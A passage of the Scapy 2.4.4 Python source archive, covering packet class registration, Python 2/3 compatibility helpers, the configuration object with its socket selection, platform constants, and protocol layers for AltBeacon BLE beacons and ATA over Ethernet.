newcls.__mro__ if hasattr(cls, "__slots__") for attr in cls.__slots__ ) newcls.aliastypes = [newcls] + getattr(newcls, "aliastypes", []) if hasattr(newcls, "register_variant"): newcls.register_variant() for f in newcls.fields_desc: if hasattr(f, "register_owner"): f.register_owner(newcls) if newcls.__name__[0] != "_": from scapy import config config.conf.layers.register(newcls) return newcls def __getattr__(self, attr): for k in self.fields_desc: if k.name == attr: return k raise AttributeError(attr) def __call__(cls, *args, **kargs): if "dispatch_hook" in cls.__dict__: try: cls = cls.dispatch_hook(*args, **kargs) except Exception: from scapy import config if config.conf.debug_dissector: raise cls = config.conf.raw_layer i = cls.__new__(cls, cls.__name__, cls.__bases__, cls.__dict__) i.__init__(*args, **kargs) return i class Field_metaclass(type): def __new__(cls, name, bases, dct): dct.setdefault("__slots__", []) newcls = super(Field_metaclass, cls).__new__(cls, name, bases, dct) return newcls class BasePacket(Gen): __slots__ = [] ############################# # Packet list base class # ############################# class BasePacketList(object): __slots__ = [] class _CanvasDumpExtended(object): def psdump(self, filename=None, **kargs): """ psdump(filename=None, layer_shift=0, rebuild=1) Creates an EPS file describing a packet. If filename is not provided a temporary file is created and gs is called. :param filename: the file's filename """ from scapy.config import conf from scapy.utils import get_temp_file, ContextManagerSubprocess canvas = self.canvas_dump(**kargs) if filename is None: fname = get_temp_file(autoext=kargs.get("suffix", ".eps")) canvas.writeEPSfile(fname) if WINDOWS and conf.prog.psreader is None: os.startfile(fname) else: with ContextManagerSubprocess(conf.prog.psreader): subprocess.Popen([conf.prog.psreader, fname]) else: canvas.writeEPSfile(filename) print() def pdfdump(self, filename=None, **kargs): """ pdfdump(filename=None, layer_shift=0, rebuild=1) Creates a PDF file describing a packet. If filename is not provided a temporary file is created and xpdf is called. :param filename: the file's filename """ from scapy.config import conf from scapy.utils import get_temp_file, ContextManagerSubprocess canvas = self.canvas_dump(**kargs) if filename is None: fname = get_temp_file(autoext=kargs.get("suffix", ".pdf")) canvas.writePDFfile(fname) if WINDOWS and conf.prog.pdfreader is None: os.startfile(fname) else: with ContextManagerSubprocess(conf.prog.pdfreader): subprocess.Popen([conf.prog.pdfreader, fname]) else: canvas.writePDFfile(filename) print() def svgdump(self, filename=None, **kargs): """ svgdump(filename=None, layer_shift=0, rebuild=1) Creates an SVG file describing a packet. If filename is not provided a temporary file is created and gs is called. :param filename: the file's filename """ from scapy.config import conf from scapy.utils import get_temp_file, ContextManagerSubprocess canvas = self.canvas_dump(**kargs) if filename is None: fname = get_temp_file(autoext=kargs.get("suffix", ".svg")) canvas.writeSVGfile(fname) if WINDOWS and conf.prog.svgreader is None: os.startfile(fname) else: with ContextManagerSubprocess(conf.prog.svgreader): subprocess.Popen([conf.prog.svgreader, fname]) else: canvas.writeSVGfile(filename) print() scapy-2.4.4/scapy/compat.py000066400000000000000000000077201372370053500156270ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # Copyright (C) Gabriel Potter # This program is published under a GPLv2 license """ Python 2 and 3 link classes. """ from __future__ import absolute_import import base64 import binascii import gzip import struct import sys import scapy.modules.six as six ########### # Python3 # ########### def lambda_tuple_converter(func): """ Converts a Python 2 function as lambda (x,y): x + y In the Python 3 format: lambda x,y : x + y """ if func is not None and func.__code__.co_argcount == 1: return lambda *args: func(args[0] if len(args) == 1 else args) else: return func if six.PY2: bytes_encode = plain_str = str chb = lambda x: x if isinstance(x, str) else chr(x) orb = ord def raw(x): """Builds a packet and returns its bytes representation. This function is and always be cross-version compatible""" if hasattr(x, "__bytes__"): return x.__bytes__() return bytes(x) else: def raw(x): """Builds a packet and returns its bytes representation. This function is and always be cross-version compatible""" return bytes(x) def bytes_encode(x): """Ensure that the given object is bytes. If the parameter is a packet, raw() should be preferred. """ if isinstance(x, str): return x.encode() return bytes(x) if sys.version_info[0:2] <= (3, 4): def plain_str(x): """Convert basic byte objects to str""" if isinstance(x, bytes): return x.decode(errors="ignore") return str(x) else: # Python 3.5+ def plain_str(x): """Convert basic byte objects to str""" if isinstance(x, bytes): return x.decode(errors="backslashreplace") return str(x) def chb(x): """Same than chr() but encode as bytes.""" return struct.pack("!B", x) def orb(x): """Return ord(x) when not already an int.""" if isinstance(x, int): return x return ord(x) def bytes_hex(x): """Hexify a str or a bytes object""" return binascii.b2a_hex(bytes_encode(x)) def hex_bytes(x): """De-hexify a str or a byte object""" return binascii.a2b_hex(bytes_encode(x)) def base64_bytes(x): """Turn base64 into bytes""" if six.PY2: return base64.decodestring(x) return base64.decodebytes(bytes_encode(x)) def bytes_base64(x): """Turn bytes into base64""" if six.PY2: return base64.encodestring(x).replace('\n', '') return base64.encodebytes(bytes_encode(x)).replace(b'\n', b'') if six.PY2: from StringIO import StringIO def gzip_decompress(x): """Decompress using gzip""" with gzip.GzipFile(fileobj=StringIO(x), mode='rb') as fdesc: return fdesc.read() def gzip_compress(x): """Compress using gzip""" buf = StringIO() with gzip.GzipFile(fileobj=buf, mode='wb') as fdesc: fdesc.write(x) return buf.getvalue() else: gzip_decompress = gzip.decompress gzip_compress = gzip.compress # Typing compatibility try: # Only required if using mypy-lang for static typing from typing import Optional, List, Union, Callable, Any, AnyStr, Tuple, \ Sized, Dict, Pattern, cast except ImportError: # Let's make some fake ones. def cast(_type, obj): return obj class _FakeType(object): # make the objects subscriptable indefinetly def __getitem__(self, item): return _FakeType() Optional = _FakeType() Union = _FakeType() Callable = _FakeType() List = _FakeType() Dict = _FakeType() Any = _FakeType() AnyStr = _FakeType() Tuple = _FakeType() Pattern = _FakeType() class Sized(object): pass scapy-2.4.4/scapy/config.py000077500000000000000000000574571372370053500156300ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ Implementation of the configuration object. """ from __future__ import absolute_import from __future__ import print_function import functools import os import re import time import socket import sys import atexit from scapy import VERSION, base_classes from scapy.consts import DARWIN, WINDOWS, LINUX, BSD, SOLARIS from scapy.error import log_scapy, warning, ScapyInvalidPlatformException from scapy.modules import six from scapy.themes import NoTheme, apply_ipython_style ############ # Config # ############ class ConfClass(object): def configure(self, cnf): self.__dict__ = cnf.__dict__.copy() def __repr__(self): return str(self) def __str__(self): s = "" keys = self.__class__.__dict__.copy() keys.update(self.__dict__) keys = sorted(keys) for i in keys: if i[0] != "_": r = repr(getattr(self, i)) r = " ".join(r.split()) wlen = 76 - max(len(i), 10) if len(r) > wlen: r = r[:wlen - 3] + "..." s += "%-10s = %s\n" % (i, r) return s[:-1] class Interceptor(object): def __init__(self, name=None, default=None, hook=None, args=None, kargs=None): self.name = name self.intname = "_intercepted_%s" % name self.default = default self.hook = hook self.args = args if args is not None else [] self.kargs = kargs if kargs is not None else {} def __get__(self, obj, typ=None): if not hasattr(obj, self.intname): setattr(obj, self.intname, self.default) return getattr(obj, self.intname) @staticmethod def set_from_hook(obj, name, val): int_name = "_intercepted_%s" % name setattr(obj, int_name, val) def __set__(self, obj, val): setattr(obj, self.intname, val) self.hook(self.name, val, *self.args, **self.kargs) def _readonly(name): default = Conf.__dict__[name].default Interceptor.set_from_hook(conf, name, default) raise ValueError("Read-only value !") ReadOnlyAttribute = functools.partial( Interceptor, hook=(lambda name, *args, **kwargs: _readonly(name)) ) ReadOnlyAttribute.__doc__ = "Read-only class attribute" class ProgPath(ConfClass): universal_open = "open" if DARWIN else "xdg-open" pdfreader = universal_open psreader = universal_open svgreader = universal_open dot = "dot" display = "display" tcpdump = "tcpdump" tcpreplay = "tcpreplay" hexedit = "hexer" tshark = "tshark" wireshark = "wireshark" ifconfig = "ifconfig" class ConfigFieldList: def __init__(self): self.fields = set() self.layers = set() @staticmethod def _is_field(f): return hasattr(f, "owners") def _recalc_layer_list(self): self.layers = {owner for f in self.fields for owner in f.owners} def add(self, *flds): self.fields |= {f for f in flds if self._is_field(f)} self._recalc_layer_list() def remove(self, *flds): self.fields -= set(flds) self._recalc_layer_list() def __contains__(self, elt): if isinstance(elt, base_classes.Packet_metaclass): return elt in self.layers return elt in self.fields def __repr__(self): return "<%s [%s]>" % (self.__class__.__name__, " ".join(str(x) for x in self.fields)) # noqa: E501 class Emphasize(ConfigFieldList): pass class Resolve(ConfigFieldList): pass class Num2Layer: def __init__(self): self.num2layer = {} self.layer2num = {} def register(self, num, layer): self.register_num2layer(num, layer) self.register_layer2num(num, layer) def register_num2layer(self, num, layer): self.num2layer[num] = layer def register_layer2num(self, num, layer): self.layer2num[layer] = num def __getitem__(self, item): if isinstance(item, base_classes.Packet_metaclass): return self.layer2num[item] return self.num2layer[item] def __contains__(self, item): if isinstance(item, base_classes.Packet_metaclass): return item in self.layer2num return item in self.num2layer def get(self, item, default=None): return self[item] if item in self else default def __repr__(self): lst = [] for num, layer in six.iteritems(self.num2layer): if layer in self.layer2num and self.layer2num[layer] == num: dir = "<->" else: dir = " ->" lst.append((num, "%#6x %s %-20s (%s)" % (num, dir, layer.__name__, layer._name))) for layer, num in six.iteritems(self.layer2num): if num not in self.num2layer or self.num2layer[num] != layer: lst.append((num, "%#6x <- %-20s (%s)" % (num, layer.__name__, layer._name))) lst.sort() return "\n".join(y for x, y in lst) class LayersList(list): def __init__(self): list.__init__(self) self.ldict = {} self.filtered = False self._backup_dict = {} def __repr__(self): return "\n".join("%-20s: %s" % (layer.__name__, layer.name) for layer in self) def register(self, layer): self.append(layer) if layer.__module__ not in self.ldict: self.ldict[layer.__module__] = [] self.ldict[layer.__module__].append(layer) def layers(self): result = [] # This import may feel useless, but it is required for the eval below import scapy # noqa: F401 for lay in self.ldict: doc = eval(lay).__doc__ result.append((lay, doc.strip().split("\n")[0] if doc else lay)) return result def filter(self, items): """Disable dissection of unused layers to speed up dissection""" if self.filtered: raise ValueError("Already filtered. Please disable it first") for lay in six.itervalues(self.ldict): for cls in lay: if cls not in self._backup_dict: self._backup_dict[cls] = cls.payload_guess[:] cls.payload_guess = [ y for y in cls.payload_guess if y[1] in items ] self.filtered = True def unfilter(self): """Re-enable dissection for all layers""" if not self.filtered: raise ValueError("Not filtered. Please filter first") for lay in six.itervalues(self.ldict): for cls in lay: cls.payload_guess = self._backup_dict[cls] self._backup_dict.clear() self.filtered = False class CommandsList(list): def __repr__(self): s = [] for li in sorted(self, key=lambda x: x.__name__): doc = li.__doc__.split("\n")[0] if li.__doc__ else "--" s.append("%-20s: %s" % (li.__name__, doc)) return "\n".join(s) def register(self, cmd): self.append(cmd) return cmd # return cmd so that method can be used as a decorator def lsc(): """Displays Scapy's default commands""" print(repr(conf.commands)) class CacheInstance(dict, object): __slots__ = ["timeout", "name", "_timetable", "__dict__"] def __init__(self, name="noname", timeout=None): self.timeout = timeout self.name = name self._timetable = {} def flush(self): self.__init__(name=self.name, timeout=self.timeout) def __getitem__(self, item): if item in self.__slots__: return object.__getattribute__(self, item) val = dict.__getitem__(self, item) if self.timeout is not None: t = self._timetable[item] if time.time() - t > self.timeout: raise KeyError(item) return val def get(self, item, default=None): # overloading this method is needed to force the dict to go through # the timetable check try: return self[item] except KeyError: return default def __setitem__(self, item, v): if item in self.__slots__: return object.__setattr__(self, item, v) self._timetable[item] = time.time() dict.__setitem__(self, item, v) def update(self, other): for key, value in six.iteritems(other): # We only update an element from `other` either if it does # not exist in `self` or if the entry in `self` is older. if key not in self or self._timetable[key] < other._timetable[key]: dict.__setitem__(self, key, value) self._timetable[key] = other._timetable[key] def iteritems(self): if self.timeout is None: return six.iteritems(self.__dict__) t0 = time.time() return ((k, v) for (k, v) in six.iteritems(self.__dict__) if t0 - self._timetable[k] < self.timeout) # noqa: E501 def iterkeys(self): if self.timeout is None: return six.iterkeys(self.__dict__) t0 = time.time() return (k for k in six.iterkeys(self.__dict__) if t0 - self._timetable[k] < self.timeout) # noqa: E501 def __iter__(self): return six.iterkeys(self.__dict__) def itervalues(self): if self.timeout is None: return six.itervalues(self.__dict__) t0 = time.time() return (v for (k, v) in six.iteritems(self.__dict__) if t0 - self._timetable[k] < self.timeout) # noqa: E501 def items(self): if self.timeout is None: return dict.items(self) t0 = time.time() return [(k, v) for (k, v) in six.iteritems(self.__dict__) if t0 - self._timetable[k] < self.timeout] # noqa: E501 def keys(self): if self.timeout is None: return dict.keys(self) t0 = time.time() return [k for k in six.iterkeys(self.__dict__) if t0 - self._timetable[k] < self.timeout] # noqa: E501 def values(self): if self.timeout is None: return list(six.itervalues(self)) t0 = time.time() return [v for (k, v) in six.iteritems(self.__dict__) if t0 - self._timetable[k] < self.timeout] # noqa: E501 def __len__(self): if self.timeout is None: return dict.__len__(self) return len(self.keys()) def summary(self): return "%s: %i valid items. Timeout=%rs" % (self.name, len(self), self.timeout) # noqa: E501 def __repr__(self): s = [] if self: mk = max(len(k) for k in six.iterkeys(self.__dict__)) fmt = "%%-%is %%s" % (mk + 1) for item in six.iteritems(self.__dict__): s.append(fmt % item) return "\n".join(s) class NetCache: def __init__(self): self._caches_list = [] def add_cache(self, cache): self._caches_list.append(cache) setattr(self, cache.name, cache) def new_cache(self, name, timeout=None): c = CacheInstance(name=name, timeout=timeout) self.add_cache(c) def __delattr__(self, attr): raise AttributeError("Cannot delete attributes") def update(self, other): for co in other._caches_list: if hasattr(self, co.name): getattr(self, co.name).update(co) else: self.add_cache(co.copy()) def flush(self): for c in self._caches_list: c.flush() def __repr__(self): return "\n".join(c.summary() for c in self._caches_list) def _version_checker(module, minver): """Checks that module has a higher version that minver. params: - module: a module to test - minver: a tuple of versions """ # We could use LooseVersion, but distutils imports imp which is deprecated version_regexp = r'[a-z]?((?:\d|\.)+\d+)(?:\.dev[0-9]+)?' version_tags = re.match(version_regexp, module.__version__) if not version_tags: return False version_tags = version_tags.group(1).split(".") version_tags = tuple(int(x) for x in version_tags) return version_tags >= minver def isCryptographyValid(): """ Check if the cryptography module >= 2.0.0 is present. This is the minimum version for most usages in Scapy. """ try: import cryptography except ImportError: return False return _version_checker(cryptography, (2, 0, 0)) def isCryptographyAdvanced(): """ Check if the cryptography module is present, and if it supports X25519, ChaCha20Poly1305 and such. Notes: - cryptography >= 2.0 is required - OpenSSL >= 1.1.0 is required """ try: from cryptography.hazmat.primitives.asymmetric.x25519 import X25519PrivateKey # noqa: E501 X25519PrivateKey.generate() except Exception: return False else: return True def isPyPy(): """Returns either scapy is running under PyPy or not""" try: import __pypy__ # noqa: F401 return True except ImportError: return False def _prompt_changer(attr, val): """Change the current prompt theme""" try: sys.ps1 = conf.color_theme.prompt(conf.prompt) except Exception: pass try: apply_ipython_style(get_ipython()) except NameError: pass def _set_conf_sockets(): """Populate the conf.L2Socket and conf.L3Socket according to the various use_* parameters """ from scapy.main import _load if conf.use_bpf and not BSD: Interceptor.set_from_hook(conf, "use_bpf", False) raise ScapyInvalidPlatformException("BSD-like (OSX, *BSD...) only !") if not conf.use_pcap and SOLARIS: Interceptor.set_from_hook(conf, "use_pcap", True) raise ScapyInvalidPlatformException( "Scapy only supports libpcap on Solaris !" ) # we are already in an Interceptor hook, use Interceptor.set_from_hook if conf.use_pcap: try: from scapy.arch.pcapdnet import L2pcapListenSocket, L2pcapSocket, \ L3pcapSocket except (OSError, ImportError): warning("No libpcap provider available ! pcap won't be used") Interceptor.set_from_hook(conf, "use_pcap", False) else: conf.L3socket = L3pcapSocket conf.L3socket6 = functools.partial(L3pcapSocket, filter="ip6") conf.L2socket = L2pcapSocket conf.L2listen = L2pcapListenSocket if conf.interactive: # Update globals _load("scapy.arch.pcapdnet") return if conf.use_bpf: from scapy.arch.bpf.supersocket import L2bpfListenSocket, \ L2bpfSocket, L3bpfSocket conf.L3socket = L3bpfSocket conf.L3socket6 = functools.partial(L3bpfSocket, filter="ip6") conf.L2socket = L2bpfSocket conf.L2listen = L2bpfListenSocket if conf.interactive: # Update globals _load("scapy.arch.bpf") return if LINUX: from scapy.arch.linux import L3PacketSocket, L2Socket, L2ListenSocket conf.L3socket = L3PacketSocket conf.L3socket6 = functools.partial(L3PacketSocket, filter="ip6") conf.L2socket = L2Socket conf.L2listen = L2ListenSocket if conf.interactive: # Update globals _load("scapy.arch.linux") return if WINDOWS: from scapy.arch.windows import _NotAvailableSocket from scapy.arch.windows.native import L3WinSocket, L3WinSocket6 conf.L3socket = L3WinSocket conf.L3socket6 = L3WinSocket6 conf.L2socket = _NotAvailableSocket conf.L2listen = _NotAvailableSocket # No need to update globals on Windows return from scapy.supersocket import L3RawSocket from scapy.layers.inet6 import L3RawSocket6 conf.L3socket = L3RawSocket conf.L3socket6 = L3RawSocket6 def _socket_changer(attr, val): if not isinstance(val, bool): raise TypeError("This argument should be a boolean") dependencies = { # Things that will be turned off "use_pcap": ["use_bpf"], "use_bpf": ["use_pcap"], } restore = {k: getattr(conf, k) for k in dependencies} del restore[attr] # This is handled directly by _set_conf_sockets if val: # Only if True for param in dependencies[attr]: Interceptor.set_from_hook(conf, param, False) try: _set_conf_sockets() except (ScapyInvalidPlatformException, ImportError) as e: for key, value in restore.items(): Interceptor.set_from_hook(conf, key, value) if isinstance(e, ScapyInvalidPlatformException): raise def _loglevel_changer(attr, val): """Handle a change of conf.logLevel""" log_scapy.setLevel(val) class Conf(ConfClass): """ This object contains the configuration of Scapy. """ version = ReadOnlyAttribute("version", VERSION) session = "" #: filename where the session will be saved interactive = False #: can be "ipython", "python" or "auto". Default: Auto interactive_shell = "" #: if 1, prevents any unwanted packet to go out (ARP, DNS, ...) stealth = "not implemented" #: selects the default output interface for srp() and sendp(). iface = None layers = LayersList() commands = CommandsList() ASN1_default_codec = None #: Codec used by default for ASN1 objects AS_resolver = None #: choose the AS resolver class to use dot15d4_protocol = None # Used in dot15d4.py logLevel = Interceptor("logLevel", log_scapy.level, _loglevel_changer) #: if 0, doesn't check that IPID matches between IP sent and #: ICMP IP citation received #: if 1, checks that they either are equal or byte swapped #: equals (bug in some IP stacks) #: if 2, strictly checks that they are equals checkIPID = False #: if 1, checks IP src in IP and ICMP IP citation match #: (bug in some NAT stacks) checkIPsrc = True checkIPaddr = True #: if True, checks that IP-in-IP layers match. If False, do #: not check IP layers that encapsulates another IP layer checkIPinIP = True #: if 1, also check that TCP seq and ack match the #: ones in ICMP citation check_TCPerror_seqack = False verb = 2 #: level of verbosity, from 0 (almost mute) to 3 (verbose) prompt = Interceptor("prompt", ">>> ", _prompt_changer) #: default mode for listening socket (to get answers if you #: spoof on a lan) promisc = True sniff_promisc = 1 #: default mode for sniff() raw_layer = None raw_summary = False default_l2 = None l2types = Num2Layer() l3types = Num2Layer() L3socket = None L3socket6 = None L2socket = None L2listen = None BTsocket = None USBsocket = None min_pkt_size = 60 mib = None #: holds MIB direct access dictionary bufsize = 2**16 #: history file histfile = os.getenv('SCAPY_HISTFILE', os.path.join(os.path.expanduser("~"), ".scapy_history")) #: includes padding in disassembled packets padding = 1 #: BPF filter for packets to ignore except_filter = "" #: bpf filter added to every sniffing socket to exclude traffic #: from analysis filter = "" #: when 1, store received packet that are not matched into `debug.recv` debug_match = False #: When 1, print some TLS session secrets when they are computed. debug_tls = False wepkey = "" cache_iflist = {} #: holds the Scapy IPv4 routing table and provides methods to #: manipulate it route = None # Filed by route.py #: holds the Scapy IPv6 routing table and provides methods to #: manipulate it route6 = None # Filed by route6.py auto_fragment = True #: raise exception when a packet dissector raises an exception debug_dissector = False color_theme = Interceptor("color_theme", NoTheme(), _prompt_changer) #: how much time between warnings from the same place warning_threshold = 5 prog = ProgPath() #: holds list of fields for which resolution should be done resolve = Resolve() #: holds list of enum fields for which conversion to string #: should NOT be done noenum = Resolve() emph = Emphasize() #: read only attribute to show if PyPy is in use use_pypy = ReadOnlyAttribute("use_pypy", isPyPy()) #: use libpcap integration or not. Changing this value will update #: the conf.L[2/3] sockets use_pcap = Interceptor( "use_pcap", os.getenv("SCAPY_USE_PCAPDNET", "").lower().startswith("y"), _socket_changer ) use_bpf = Interceptor("use_bpf", False, _socket_changer) use_npcap = False ipv6_enabled = socket.has_ipv6 #: path or list of paths where extensions are to be looked for extensions_paths = "." stats_classic_protocols = [] stats_dot11_protocols = [] temp_files = [] netcache = NetCache() geoip_city = None # can, tls, http are not loaded by default load_layers = ['bluetooth', 'bluetooth4LE', 'dhcp', 'dhcp6', 'dns', 'dot11', 'dot15d4', 'eap', 'gprs', 'hsrp', 'inet', 'inet6', 'ipsec', 'ir', 'isakmp', 'l2', 'l2tp', 'llmnr', 'lltd', 'mgcp', 'mobileip', 'netbios', 'netflow', 'ntp', 'ppi', 'ppp', 'pptp', 'radius', 'rip', 'rtp', 'sctp', 'sixlowpan', 'skinny', 'smb', 'smb2', 'snmp', 'tftp', 'vrrp', 'vxlan', 'x509', 'zigbee'] #: a dict which can be used by contrib layers to store local #: configuration contribs = dict() crypto_valid = isCryptographyValid() crypto_valid_advanced = isCryptographyAdvanced() fancy_prompt = True auto_crop_tables = True #: how often to check for new packets. #: Defaults to 0.05s. recv_poll_rate = 0.05 #: When True, raise exception if no dst MAC found otherwise broadcast. #: Default is False. raise_no_dst_mac = False loopback_name = "lo" if LINUX else "lo0" def __getattr__(self, attr): # Those are loaded on runtime to avoid import loops if attr == "manufdb": from scapy.data import MANUFDB return MANUFDB if attr == "ethertypes": from scapy.data import ETHER_TYPES return ETHER_TYPES if attr == "protocols": from scapy.data import IP_PROTOS return IP_PROTOS if attr == "services_udp": from scapy.data import UDP_SERVICES return UDP_SERVICES if attr == "services_tcp": from scapy.data import TCP_SERVICES return TCP_SERVICES if attr == "iface6": warning("conf.iface6 is deprecated in favor of conf.iface") attr = "iface" return object.__getattribute__(self, attr) if not Conf.ipv6_enabled: log_scapy.warning("IPv6 support disabled in Python. Cannot load Scapy IPv6 layers.") # noqa: E501 for m in ["inet6", "dhcp6"]: if m in Conf.load_layers: Conf.load_layers.remove(m) conf = Conf() def crypto_validator(func): """ This a decorator to be used for any method relying on the cryptography library. # noqa: E501 Its behaviour depends on the 'crypto_valid' attribute of the global 'conf'. """ def func_in(*args, **kwargs): if not conf.crypto_valid: raise ImportError("Cannot execute crypto-related method! " "Please install python-cryptography v1.7 or later.") # noqa: E501 return func(*args, **kwargs) return func_in def scapy_delete_temp_files(): # type: () -> None for f in conf.temp_files: try: os.unlink(f) except Exception: pass del conf.temp_files[:] atexit.register(scapy_delete_temp_files) scapy-2.4.4/scapy/consts.py000066400000000000000000000013651372370053500156540ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license from sys import platform, maxsize import platform as platform_lib LINUX = platform.startswith("linux") OPENBSD = platform.startswith("openbsd") FREEBSD = "freebsd" in platform NETBSD = platform.startswith("netbsd") DARWIN = platform.startswith("darwin") SOLARIS = platform.startswith("sunos") WINDOWS = platform.startswith("win32") WINDOWS_XP = platform_lib.release() == "XP" BSD = DARWIN or FREEBSD or OPENBSD or NETBSD # See https://docs.python.org/3/library/platform.html#cross-platform IS_64BITS = maxsize > 2**32 # LOOPBACK_NAME moved to conf.loopback_name scapy-2.4.4/scapy/contrib/000077500000000000000000000000001372370053500154245ustar00rootroot00000000000000scapy-2.4.4/scapy/contrib/__init__.py000066400000000000000000000004101372370053500175300ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ Package of contrib modules that have to be loaded explicitly. """ scapy-2.4.4/scapy/contrib/altbeacon.py000066400000000000000000000054211372370053500177300ustar00rootroot00000000000000# -*- mode: python3; indent-tabs-mode: nil; tab-width: 4 -*- # altbeacon.py - protocol handlers for AltBeacon # # This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Michael Farrell # This program is published under a GPLv2 (or later) license # # scapy.contrib.description = AltBeacon BLE proximity beacon # scapy.contrib.status = loads """ scapy.contrib.altbeacon - AltBeacon Bluetooth LE proximity beacons. The AltBeacon specification can be found at: https://github.com/AltBeacon/spec """ from scapy.fields import ByteField, ShortField, SignedByteField, \ StrFixedLenField from scapy.layers.bluetooth import EIR_Hdr, EIR_Manufacturer_Specific_Data, \ UUIDField, LowEnergyBeaconHelper from scapy.packet import Packet # When building beacon frames, one should use their own manufacturer ID. # # However, most software (including the AltBeacon SDK) requires explicitly # registering particular manufacturer IDs to listen to, and the only ID used is # that of Radius Networks (the developer of the specification). # # To maximise compatibility, Scapy's implementation of # LowEnergyBeaconHelper.build_eir (for constructing frames) uses Radius # Networks' manufacturer ID. # # Scapy's implementation of AltBeacon **does not** require a specific # manufacturer ID to detect AltBeacons - it uses # EIR_Manufacturer_Specific_Data.register_magic_payload. RADIUS_NETWORKS_MFG = 0x0118 class AltBeacon(Packet, LowEnergyBeaconHelper): """ AltBeacon broadcast frame type. https://github.com/AltBeacon/spec """ name = "AltBeacon" magic = b"\xBE\xAC" fields_desc = [ StrFixedLenField("header", magic, len(magic)), # The spec says this is 20 bytes, with >=16 bytes being an # organisational unit-specific identifier. However, the Android library # treats this as UUID + uint16 + uint16. UUIDField("id1", None), # Local identifier ShortField("id2", None), ShortField("id3", None), SignedByteField("tx_power", None), ByteField("mfg_reserved", None), ] @classmethod def magic_check(cls, payload): """ Checks if the given payload is for us (starts with our magic string). """ return payload.startswith(cls.magic) def build_eir(self): """Builds a list of EIR messages to wrap this frame.""" # Note: Company ID is not required by spec, but most tools only look # for manufacturer-specific data with Radius Networks' manufacturer ID. return LowEnergyBeaconHelper.base_eir + [ EIR_Hdr() / EIR_Manufacturer_Specific_Data( company_id=RADIUS_NETWORKS_MFG) / self ] EIR_Manufacturer_Specific_Data.register_magic_payload(AltBeacon) scapy-2.4.4/scapy/contrib/aoe.py000066400000000000000000000137671372370053500165600ustar00rootroot00000000000000# Copyright (C) 2018 antoine.torre ## # This program is published under a GPLv2 license # scapy.contrib.description = ATA Over Internet # scapy.contrib.status = loads from scapy.packet import Packet, bind_layers from scapy.fields import FlagsField, XByteField, ByteField, XShortField, \ ShortField, StrLenField, BitField, BitEnumField, ByteEnumField, \ FieldLenField, PacketListField, FieldListField, MACField, PacketField, \ ConditionalField, XIntField from scapy.layers.l2 import Ether from scapy.data import ETHER_ANY class IssueATACommand(Packet): name = "Issue ATA Command" fields_desc = [FlagsField("flags", 0, 8, "zezdzzaw"), XByteField("err_feature", 0), ByteField("sector_count", 1), XByteField("cmd_status", 0xec), XByteField("lba0", 0), XByteField("lba1", 0), XByteField("lba2", 0), XByteField("lba3", 0), XByteField("lba4", 0), XByteField("lba5", 0), XShortField("reserved", 0), StrLenField("data", "", length_from=lambda x: x.sector_count * 512)] def extract_padding(self, s): return "", s class QueryConfigInformation(Packet): name = "Query Config Information" fields_desc = [ShortField("buffer_count", 0), ShortField("firmware", 0), ByteField("sector_count", 0), BitField("aoe", 0, 4), BitEnumField("ccmd", 0, 4, {0: "Read config string", 1: "Test config string", 2: "Test config string prefix", 3: "Set config string", 4: "Force set config string"}), FieldLenField("config_length", None, length_of="config"), StrLenField("config", None, length_from=lambda x: x.config_length)] def extract_padding(self, s): return "", s class Directive(Packet): name = "Directive" fields_desc = [ByteField("reserved", 0), ByteEnumField("dcmd", 0, {0: "No directive", 1: "Add mac address to mask list", 2: "Delete mac address from mask list"}), MACField("mac_addr", ETHER_ANY)] class MacMaskList(Packet): name = "Mac Mask List" fields_desc = [ByteField("reserved", 0), ByteEnumField("mcmd", 0, {0: "Read Mac Mask List", 1: "Edit Mac Mask List"}), ByteEnumField("merror", 0, {0: "", 1: "Unspecified error", 2: "Bad dcmd directive", 3: "Mask List Full"}), FieldLenField("dir_count", None, count_of="directives"), PacketListField("directives", None, Directive, count_from=lambda pkt: pkt.dir_count)] def extract_padding(self, s): return "", s class ReserveRelease(Packet): name = "Reserve / Release" fields_desc = [ByteEnumField("rcmd", 0, {0: "Read Reserve List", 1: "Set Reserve List", 2: "Force Set Reserve List"}), FieldLenField("nb_mac", None, count_of="mac_addrs"), FieldListField("mac_addrs", None, MACField("", ETHER_ANY), count_from=lambda pkt: pkt.nb_mac)] def extract_padding(self, s): return "", s class AOE(Packet): name = "ATA over Ethernet" fields_desc = [BitField("version", 1, 4), FlagsField("flags", 0, 4, ["Response", "Error", "r1", "r2"]), ByteEnumField("error", 0, {1: "Unrecognized command code", 2: "Bad argument parameter", 3: "Device unavailable", 4: "Config string present", 5: "Unsupported exception", 6: "Target is reserved"}), XShortField("major", 0xFFFF), XByteField("minor", 0xFF), ByteEnumField("cmd", 1, {0: "Issue ATA Command", 1: "Query Config Information", 2: "Mac Mask List", 3: "Reserve / Release"}), XIntField("tag", 0), ConditionalField(PacketField("i_ata_cmd", IssueATACommand(), IssueATACommand), lambda x: x.cmd == 0), ConditionalField(PacketField("q_conf_info", QueryConfigInformation(), QueryConfigInformation), lambda x: x.cmd == 1), ConditionalField(PacketField("mac_m_list", MacMaskList(), MacMaskList), lambda x: x.cmd == 2), ConditionalField(PacketField("res_rel", ReserveRelease(), ReserveRelease), lambda x: x.cmd == 3)] def extract_padding(self, s): return "", s bind_layers(Ether, AOE, type=0x88A2) bind_layers(AOE, IssueATACommand, cmd=0) bind_layers(AOE, QueryConfigInformation, cmd=1) bind_layers(AOE, MacMaskList, cmd=2) bind_layers(AOE, ReserveRelease, cmd=3) scapy-2.4.4/scapy/contrib/automotive/000077500000000000000000000000001372370053500176205ustar00rootroot00000000000000scapy-2.4.4/scapy/contrib/automotive/__init__.py000066400000000000000000000004531372370053500217330ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Nils Weiss # This program is published under a GPLv2 license # scapy.contrib.status = skip """ Package of contrib automotive modules that have to be loaded explicitly. """ 